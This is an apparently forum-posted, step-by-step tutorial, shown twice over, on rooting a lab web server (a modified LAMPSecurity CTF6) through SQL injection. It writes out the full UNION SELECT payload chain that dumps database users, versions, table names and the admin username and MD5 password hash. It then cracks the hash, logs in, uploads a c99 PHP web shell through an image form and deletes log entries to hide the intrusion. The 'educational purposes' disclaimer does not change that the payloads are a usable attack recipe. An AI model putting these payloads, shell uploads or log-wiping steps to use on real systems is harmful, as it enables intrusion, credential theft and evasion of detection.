Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWxP8VedwZN9r7oG5-NmdM_V88K0r-h1_X6aB3zQRQgbJMiucFinZy0DMNNvqZfsrMZIEIRn3OvyGy__dX7tX1OyYODaMbBvdPVv4IrnHb-52LTZMmtGGbDVAWB3N7_918VLCcPqsCWjrNcxiPg8ttpzktyd_OTKuZmZ_zgJNuhkWh=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tiHkO0xUXgH3JEcxvZWHz5M6ot4lC6VrnjrIePVUcBBTPmfSmgXw3FxHrCzLtpNZ7WEkfw1XZBlP_VAKbYdLIygkQbvy4dlLZiyXcl8lkVAlAA_KZhugM30q90YBPtOlaCY91JpSsIHWayBlokQCXS80EIODDaz_y34I4IFN19zU-qDA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uCOYnpIj3-NP6Z10m0VGzJYCqXc3LVATYPodKsvIu5xXc4f1BN3hs4jZHjVaqZUb9kuLsKOXSIXJADOSb1gODfV0yX2CS26tTINlyCwYLshxFEEsnPNNjf_2xJT81m1uDAN_MzAFiPzI6pZDKXbDuqgXfH-G9chCGry3TfKamw8A4MKQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6LQbjVx1iAhwuurAg_ROBzfAxqxpcqRJWXE60O9h_1XcDLCquVGk_Pantl50B-4By22qUuWU5mg9iERR3FgtqlZhXm9H7HjoYj1ue7HA-Plzck4T4rLpc6ElcbWlNf9bxRA9jG1JekvXDFwADmwPhzqSCHvDSvS_Lb2zkEhBjcBAquQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sHHZ1Gc6VL7UeXkSLLs1EsDsHxMr7zAEFRsO_pHRYYwrgKLhLuvyc0GbDIFCS29gTe1DKhEkGGKIppE6A-6hyPuQnLBZv6fAxm4nmjk_S4QAA1keLGY5Q_jHUthwU2EFFpXRBLPeqDdXwrTkfaSGb95zJvaXQKJSKL6g7KlfYid8qFmw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMLQ31pS1OYJuUhXwJi3rnqy1kJBS4oZwig69LBCS9rxGVB8YmValVgDFT6m0JyixlaADHmckrSCkAXTtJ6WvnhJTD6_s2U7n1UJexM2U1nRhgyiX0YemSLV8beFQrAuDRqY_E3eg5ZXfwKSq304wkHtRxxzaslxcFfzqC1BYlmK3V=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFQdz9plWUY9jMseLTFuDGWetEMSzDyM8HUQMzFNymHncxl76Gtmq99R3fpwXXBD4kDQA3p3qOWG2HUdwm7wj1R5YTFbFLkQhP4Nhx5008vTaPzlaOJmyvSHN2t2ZS60_y08WEMykytdkZL0Uok-3bYn-yBFt4qP6Ckld1qrTeO1DWk1A=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sD81gMaMJ0mziYSA2NQNpKaoZcjP_ky2Yxd0ErxLe6laOAXA8wfhHuehItbfaHUIUzH_NnBNBs1KcTXsnNxGWE7HSRk1df72kg6SnutrKFrZCEudBHF0tlFg8WvrH1jsfB7NaTK2M_IttD49EO3SJxWjGH2W5pYuNCwWSJVbpMtwbd5OE=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbYYW1aWdIntpUe5-xMDYqGiOgdmxsAhl281AX24_lmGNgEhP6cAjPvDcR4pHOYIzhi037HV_F7JfpuIiLsrTW6009bVFb0A_KWuHQ6z48xOL3m7bJmMDlwY8JwzN4CMt70DySu1fZ7T6W35c6BG53B3x3JeSg_oWkxY1gm0BNymdiYcA=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjdZpAQ3pzJ-hy-tbZ7uvZTMk_FgX6HRQx9J0cRBwT0C2OjnqiFeKN9DzvbH4qxPlPfjKwqeGpF9_kmHoRczAV_XyfOY9y9E0f6T0vmIpfxbhA_fZQVOnQC-t34tPoIja42oTiUhqiXbmoLxOepfRc19zIXu7BYkqE4Exv7SUOZIHx1MQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sdi3eRXxcTLCi8wNeXtPP-W6eqps9aoApxH8zlfeU1FAL16PKQ6Ub4kUG43d9XtmpJFtPhYJbIXr3XSznVhfCPG1yLQPupnTdv0Z_5Ty7oPaWb5tCtQ_Av-1HKZS8YdLtqXmbli02kZZtbfcTYJbrworzFmKK2fW8kp0QPLa3QEitLrA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOZavEbQ01jsGs4Rw8vKKwN95yfjz2n6QrrTgKnPNLCzUrvcJ2_L7CSwERBAmaQS07HmqRZkOiJZWYuiIFQOZ1QU80UfSw-g9lR1ChObhfMkUAg7P6vcOmA7u8cISHibB7Hsedlinad3dN3_07_QQZJf7LB9yirhPV4-OKCL-zhnYKkV0=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sR6qnt-foiOU0_WNsvDdFNAWtBH1rlw0o4wkVXyMXpvJvk3bgsRXIaSL5DIZz58WfcnYGzMmp6bJzp6oSTX5chXWCmo_Oh7zl5as-eE0f6isaL-4IRU0ZR9BWF1OH5zwhso3Lld67ShCOVClDSGKa20-uYjuYQ0IKXvoU_PpY29wH121g=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shjmXN0WMrL_4aUZR6Q5ZZ_SXvJdgRdg7vclUU7-Mp2SW6uGJW6aF_Ni0gZkUWpStifIX4BXah3fwkZXSRbTnvxZxc1LkrPkdcaWwDistq5W-UPVMi7x3yIPIlIU0FXHGpPJ32xdqA5t1d2IL8DYGcxoftIR2y8N-IcWS0A-ON5VhxnQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sV8oMY_cTyHJwDoJx6M1Y2dLlZHX2DaLKHT4O5WuRHOVbOaa8MFBUItP6NJ14PjlkpFQgtr7o2cWHR09QfILJWyzjnC9aXhBXLwpv5uJ_pQIpPC_TUVW6CgK62DQpoDHOpuyWrXUynMd9zeNMyevzOH_IbnPN__AEbD8ljr8DNVpM27Q=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbiy67eumKxtJhjlXEK-CnlIr09sTOdtzQZVUq4Es1lz7hsscnrlNRe4KGBfWj7sjMqXlhjRgYXwhZymxK-hLKp0hk8elTmo5YO7cmTBtKLnhT5rrqNduPv8HAfok-wBWRnIn5T5grjxgFhpryMzCzX-jt1DbwL50yIoJPL9dmaxCPpT0=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIy40wW4T9axe1v8XHq6rPvlGAihecp-z_dLB570oRJ-L4dWc9GIPLFz4u1XawttcMJ8WGNowfwIBAKfdFUaDH0QnRJMreN5_xbkQ8vk5t-I-yxO7reaLCLgUsOYpt63W4p2VWszuDd9kmLiL-uPIeDIp-1Ky8L82ottzmJ4fRCODIuZU=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
